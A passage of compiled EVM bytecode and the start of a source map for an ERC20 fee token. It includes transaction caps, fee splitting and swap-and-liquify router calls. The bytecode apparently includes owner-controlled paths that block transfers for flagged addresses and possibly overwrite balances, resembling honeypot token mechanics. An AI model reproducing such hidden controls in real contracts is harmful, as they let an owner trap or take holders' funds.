379a000000000000000000000000000000000000000000000000000000000815260040161279f9061444a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461288d91906145bf565b9050838110156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c9906143ea565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b9061448a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906143ca565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aa291906144aa565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b179061446a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b87906143aa565b60405180910390fd5b602060149054906101000a900460ff1615612bb757612bb0848484613122565b9050613065565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c5b5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ca657601c54821115612ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9c9061440a565b60405180910390fd5b5b6000612cb130611e7d565b90506000601e548210159050808015612cd75750602060149054906101000a900460ff16155b8015612d2d5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d455750602060159054906101000a900460ff165b15612d6f57602060169054906101000a900460ff1615612d6557601e5491505b612d6e826132f5565b5b612d78866134e6565b15612e1357612dcf84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d090919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612eb65750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612eca57612ec5878787613529565b612ecc565b845b9050602060179054906101000a900460ff168015612f345750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f6357601d54612f5782612f4989611e7d565b61287e90919063ffffffff16565b1115612f6257600080fd5b5b612fb581600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161305591906144aa565b60405180910390a3600193505050505b9392505050565b60008383111582906130b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130ab9190614388565b60405180910390fd5b50600083856130c391906146a0565b9050809150509392505050565b600061311283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061306c565b905092915050565b600033905090565b60006131ad826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461306c9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132e291906144aa565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061334e6002613340601a54613332601554876137f990919063ffffffff16565b61387490919063ffffffff16565b61387490919063ffffffff16565b9050600061336582846130d090919063ffffffff16565b9050613370816138be565b600047905060006133a1613390600260155461387490919063ffffffff16565b601a546130d090919063ffffffff16565b905060006133df60026133d1846133c3601554886137f990919063ffffffff16565b61387490919063ffffffff16565b61387490919063ffffffff16565b9050600061340a836133fc601754876137f990919063ffffffff16565b61387490919063ffffffff16565b905060006134338261342585886130d090919063ffffffff16565b6130d090919063ffffffff16565b9050600081111561346b5761346a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613b49565b5b60008211156134a1576134a0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613b49565b5b6000831180156134b15750600087115b156134c1576134c08784613b94565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661350a600154613c88565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166135d957600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d857600080fd5b5b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561365a576136536064613645601854866137f990919063ffffffff16565b61387490919063ffffffff16565b90506136d8565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136d7576136d460646136c6601954866137f990919063ffffffff16565b61387490919063ffffffff16565b90505b5b60008111156137dc5761373381600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137d391906144aa565b60405180910390a35b6137ef81846130d090919063ffffffff16565b9150509392505050565b60008083141561380c576000905061386e565b6000828461381a9190614646565b90508284826138299190614615565b14613869576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138609061442a565b60405180910390fd5b809150505b92915050565b60006138b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c9a565b905092915050565b6000600267ffffffffffffffff8111156138db576138da6148ed565b5b6040519080825280602002602001820160405280156139095781602001602082028036833780820191505090505b5090503081600081518110613921576139206148be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156139c357600080fd5b505afa1580156139d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139fb9190613df3565b81600181518110613a0f57613a0e6148be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a7630601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613ada9594939291906144f5565b600060405180830381600087803b158015613af457600080fd5b505af1158015613b08573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b3d9291906144c5565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b8f573d6000803e3d6000fd5b505050565b613bc130601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c0d612038565b426040518863ffffffff1660e01b8152600401613c2f969594939291906142f1565b6060604051808303818588803b158015613c4857600080fd5b505af1158015613c5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613c819190614000565b5050505050565b6000613c9382613cfd565b9050919050565b60008083118290613ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cd89190614388565b60405180910390fd5b5060008385613cf09190614615565b9050809150509392505050565b6000819050919050565b600081359050613d1681614b72565b92915050565b600081519050613d2b81614b72565b92915050565b60008083601f840112613d4757613d46614921565b5b8235905067ffffffffffffffff811115613d6457613d6361491c565b5b602083019150836020820283011115613d8057613d7f614926565b5b9250929050565b600081359050613d9681614b89565b92915050565b600081359050613dab81614ba0565b92915050565b600081519050613dc081614ba0565b92915050565b600060208284031215613ddc57613ddb614930565b5b6000613dea84828501613d07565b91505092915050565b600060208284031215613e0957613e08614930565b5b6000613e1784828501613d1c565b91505092915050565b60008060408385031215613e3757613e36614930565b5b6000613e4585828601613d07565b9250506020613e5685828601613d07565b9150509250929050565b600080600060608486031215613e7957613e78614930565b5b6000613e8786828701613d07565b9350506020613e9886828701613d07565b9250506040613ea986828701613d9c565b9150509250925092565b60008060408385031215613eca57613ec9614930565b5b6000613ed885828601613d07565b9250506020613ee985828601613d9c565b9150509250929050565b600080600060408486031215613f0c57613f0b614930565b5b600084013567ffffffffffffffff811115613f2a57613f2961492b565b5b613f3686828701613d31565b93509350506020613f4986828701613d87565b9150509250925092565b600060208284031215613f6957613f68614930565b5b6000613f7784828501613d87565b91505092915050565b600060208284031215613f9657613f95614930565b5b6000613fa484828501613d9c565b91505092915050565b600080600060608486031215613fc657613fc5614930565b5b6000613fd486828701613d9c565b9350506020613fe586828701613d9c565b9250506040613ff686828701613d9c565b9150509250925092565b60008060006060848603121561401957614018614930565b5b600061402786828701613db1565b935050602061403886828701613db1565b925050604061404986828701613db1565b9150509250925092565b600061405f838361407a565b60208301905092915050565b614074816146e6565b82525050565b614083816146d4565b82525050565b614092816146d4565b82525050565b60006140a38261457a565b6140ad818561459d565b93506140b88361456a565b8060005b838110156140e95781516140d08882614053565b97506140db83614590565b9250506001810190506140bc565b5085935050505092915050565b6140ff816146f8565b82525050565b61410e8161473b565b82525050565b61411d8161474d565b82525050565b600061412e82614585565b61413881856145ae565b9350614148818560208601614783565b61415181614935565b840191505092915050565b60006141696023836145ae565b915061417482614946565b604082019050919050565b600061418c6022836145ae565b915061419782614995565b604082019050919050565b60006141af601b836145ae565b91506141ba826149e4565b602082019050919050565b60006141d26028836145ae565b91506141dd82614a0d565b604082019050919050565b60006141f56021836145ae565b915061420082614a5c565b604082019050919050565b60006142186020836145ae565b915061422382614aab565b602082019050919050565b600061423b6025836145ae565b915061424682614ad4565b604082019050919050565b600061425e6024836145ae565b915061426982614b23565b604082019050919050565b61427d81614724565b82525050565b61428c8161472e565b82525050565b60006020820190506142a76000830184614089565b92915050565b60006020820190506142c2600083018461406b565b92915050565b60006040820190506142dd6000830185614089565b6142ea6020830184614089565b9392505050565b600060c0820190506143066000830189614089565b6143136020830188614274565b6143206040830187614114565b61432d6060830186614114565b61433a6080830185614089565b61434760a0830184614274565b979650505050505050565b600060208201905061436760008301846140f6565b92915050565b60006020820190506143826000830184614105565b92915050565b600060208201905081810360008301526143a28184614123565b905092915050565b600060208201905081810360008301526143c38161415c565b9050919050565b600060208201905081810360008301526143e38161417f565b9050919050565b60006020820190508181036000830152614403816141a2565b9050919050565b60006020820190508181036000830152614423816141c5565b9050919050565b60006020820190508181036000830152614443816141e8565b9050919050565b600060208201905081810360008301526144638161420b565b9050919050565b600060208201905081810360008301526144838161422e565b9050919050565b600060208201905081810360008301526144a381614251565b9050919050565b60006020820190506144bf6000830184614274565b92915050565b60006040820190506144da6000830185614274565b81810360208301526144ec8184614098565b90509392505050565b600060a08201905061450a6000830188614274565b6145176020830187614114565b81810360408301526145298186614098565b90506145386060830185614089565b6145456080830184614274565b9695505050505050565b60006020820190506145646000830184614283565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145ca82614724565b91506145d583614724565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561460a57614609614831565b5b828201905092915050565b600061462082614724565b915061462b83614724565b92508261463b5761463a614860565b5b828204905092915050565b600061465182614724565b915061465c83614724565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561469557614694614831565b5b828202905092915050565b60006146ab82614724565b91506146b683614724565b9250828210156146c9576146c8614831565b5b828203905092915050565b60006146df82614704565b9050919050565b60006146f182614704565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006147468261475f565b9050919050565b600061475882614724565b9050919050565b600061476a82614771565b9050919050565b600061477c82614704565b9050919050565b60005b838110156147a1578082015181840152602081019050614786565b838111156147b0576000848401525b50505050565b600060028204905060018216806147ce57607f821691505b602082108114156147e2576147e161488f565b5b50919050565b60006147f382614724565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561482657614825614831565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614b7b816146d4565b8114614b8657600080fd5b50565b614b92816146f8565b8114614b9d57600080fd5b50565b614ba981614724565b8114614bb457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200764c1a953213f5313aa9427e8869207ddeb89f3c8dd66db4aeed8b769e363dc64736f6c63430008070033

Deployed Bytecode Sourcemap

4356:15370:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14102:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8386:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9679:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4687:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6094:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8663:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14457:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11914:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4734:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13090:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12636:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8572:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12503:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9048:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12371:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5148:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4647:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5200:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6209:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16477:249;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5553:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13364:730;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5248:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10419:331;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5594:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12035:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8771:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10193:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5886:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5956:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5718:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5427:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5093:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3063:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10758:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8477:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9551:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5763:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9274:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12953:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5635:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14282:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11548:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5384:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12773:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5342:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6142:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5470:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4999:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5513:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6256:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5300:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8897:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5674:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12261:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4942:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3277:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6308:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4412:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14102:137;14177:8;:33;14199:10;14177:33;;;;;;;;;;;;;;;;;;;;;;;;;14171:66;;;14231:6;14211:8;:15;14220:5;14211:15;;;;;;;;;;;;;;;:26;;;;14171:66;14102:137;;:::o;8386:83::-;8423:13;8456:5;8449:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8386:83;:::o;9679:161::-;9754:4;9771:39;9780:12;:10;:12::i;:::-;9794:7;9803:6;9771:8;:39::i;:::-;9828:4;9821:11;;9679:161;;;;:::o;4687:40::-;;;;;;;;;;;;;:::o;6094:41::-;;;;;;;;;;;;;:::o;8663:100::-;8716:7;8743:12;;8736:19;;8663:100;:::o;14457:313::-;14555:4;14572:36;14582:6;14590:9;14601:6;14572:9;:36::i;:::-;;14619:121;14628:6;14636:12;:10;:12::i;:::-;14650:89;14688:6;14650:89;;;;;;;;;;;;;;;;;:11;:19;14662:6;14650:19;;;;;;;;;;;;;;;:33;14670:12;:10;:12::i;:::-;14650:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14619:8;:121::i;:::-;14758:4;14751:11;;14457:313;;;;;:::o;11914:113::-;3200:12;:10;:12::i;:::-;3190:22;;:6;;;;;;;;;;:22;;;3182:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12011:8:::1;11992:16;;:27;;;;;;;;;;;;;;;;;;11914:113:::0;:::o;4734:81::-;;;:::o;13090:128::-;13143:7;13170:40;13187:22;13197:11;13187:9;:22::i;:::-;13170:12;;:16;;:40;;;;:::i;:::-;13163:47;;13090:128;:::o;12636:129::-;3200:12;:10;:12::i;:::-;3190:22;;:6;;;;;;;;;;:22;;;3182:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12746:10:::1;12718:17;;:39;;;;;;;;;;;;;;;;;;12636:129:::0;:::o;8572:83::-;8613:5;8638:9;;;;;;;;;;;8631:16;;8572:83;:::o;12503:125::-;3200:12;:10;:12::i;:::-;3190:22;;:6;;;;;;;;;;:22;;;3182:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12609:10:::1;12588;;:32;;;;;;;;;;;;;;;;;;12503:125:::0;:::o;9048:218::-;9136:4;9153:83;9162:12;:10;:12::i;:::-;9176:7;9185:50;9224:10;9185:11;:25;9197:12;:10;:12::i;:::-;9185:25;;;;;;;;;;;;;;;:34;9211:7;9185:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9153:8;:83::i;:::-;9254:4;9247:11;;9048:218;;;;:::o;12371:124::-;3200:12;:10;:12::i;:::-;3190:22;;:6;;;;;;;;;;:22;;;3182:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12479:8:::1;12453:23;:34;;;;12371:124:::0;:::o;5148:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4647:33::-;;;;;;;;;;;;;:::o;5200:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6209:40::-;;;;;;;;;;;;;:::o;16477:249::-;16586:11;:9;:11::i;:::-;16530:67;;:10;;;;;;;;;;;:67;;;16526:193;;;16616:1;16611;:6;16607:105;;;16645:4;16629:10;:13;16640:1;16629:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;16607:105;;;16670:1;16665;:6;16662:50;;;16699:5;16683:10;:13;16694:1;16683:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16662:50;16607:105;16526:193;16477:249;;:::o;5553:34::-;;;;:::o;13364:730::-;13444:22;3200:12;:10;:12::i;:::-;3190:22;;:6;;;;;;;;;;:22;;;3182:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13481:35:::1;13538:16;13481:74;;13604:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13586:53;;;13648:4;13655:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13586:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13569:110;;13721:1;13695:28;;:14;:28;;;13692:199;;;13784:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13766:73;;;13848:4;13855:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13766:113;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13749:130;;13692:199;13917:14;13903:11;;:28;;;;;;;;;;;;;;;;;;13960:16;13942:15;;:34;;;;;;;;;;;;;;;;;;14034:4;13990:19;:41;14018:11;;;;;;;;;;;13990:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;14082:4;14049:8;:30;14066:11;;;;;;;;;;;14049:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;13468:626;13364:730:::0;;;:::o;5248:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;10419:331::-;3200:12;:10;:12::i;:::-;3190:22;;:6;;;;;;;;;;:22;;;3182:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10559:15:::1;10540:16;:34;;;;10604:15;10585:16;:34;;;;10644:10;10630:11;:24;;;;10687:55;10730:11;;10687:38;10708:16;;10687;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10667:17;:75;;;;10419:331:::0;;;:::o;5594:34::-;;;;:::o;12035:218::-;3200:12;:10;:12::i;:::-;3190:22;;:6;;;;;;;;;;:22;;;3182:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12141:9:::1;12137:109;12160:6;;